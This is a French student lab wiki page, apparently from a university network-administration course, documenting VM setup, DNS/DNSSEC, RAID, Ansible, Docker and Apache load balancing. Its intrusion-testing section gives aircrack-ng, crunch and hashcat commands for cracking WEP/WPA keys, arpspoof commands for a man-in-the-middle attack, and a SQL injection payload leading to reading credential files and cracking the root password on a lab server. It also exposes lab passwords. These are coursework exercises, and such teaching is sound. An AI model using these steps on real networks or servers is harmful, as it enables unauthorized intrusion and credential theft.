  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier /etc/bind/db.calicedelamort.site pour y ajouter cette ligne :&lt;br /&gt;
&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
&lt;br /&gt;
On installe les paquets manquants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
On active notre 2ème site, puis on redémarre bind9 et apache2 :&lt;br /&gt;
&lt;br /&gt;
 a2ensite site2calicedelamort.conf&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Notre deuxième site est maintenant accessible via reverse.calicedelamort.site, cependant il n'est disponible que sur notre VM chassiron (192.168.42.9)&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons maintenant le rendre accessible sur toutes les VM chassiron, nous utilisons donc un Load Balancer.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on installe les paquetages nécessaires :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis, on modifie le fichier de configuration de notre site /etc/apache2/sites-available/site2calicedelamort.site, et on y ajoute un système d'équilibrage de charges :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;   &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
        ServerAdmin paulLeCannard&lt;br /&gt;
        &amp;lt;Proxy &amp;quot;balancer://macrondemission&amp;quot;&amp;gt;&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.2:8089&amp;quot; route=1&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.4:8089&amp;quot; route=2&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.5:8089&amp;quot; route=3&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.7:8089&amp;quot; route=4&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.9:8089&amp;quot; route=5&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.12:8089&amp;quot; route=6&lt;br /&gt;
                ProxySet lbmethod=byrequests&lt;br /&gt;
        &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
        ProxyPass / balancer://macrondemission/&lt;br /&gt;
        ProxyPassReverse / balancer://macrondemission/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redémarre apache2.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement du Load Balancer, nous avons chargé une page internet différente sur notre VM (192.168.42.9).&lt;br /&gt;
Lorsque l'on se connecte sur notre site via un navigateur (http://reverse.calicedelamort.site), on voit bien que l'on obtient parfois la page du site 'classique' et d'autre fois la page du site propre à notre VM chassiron.&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55184</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55184"/>
				<updated>2020-12-22T14:52:45Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
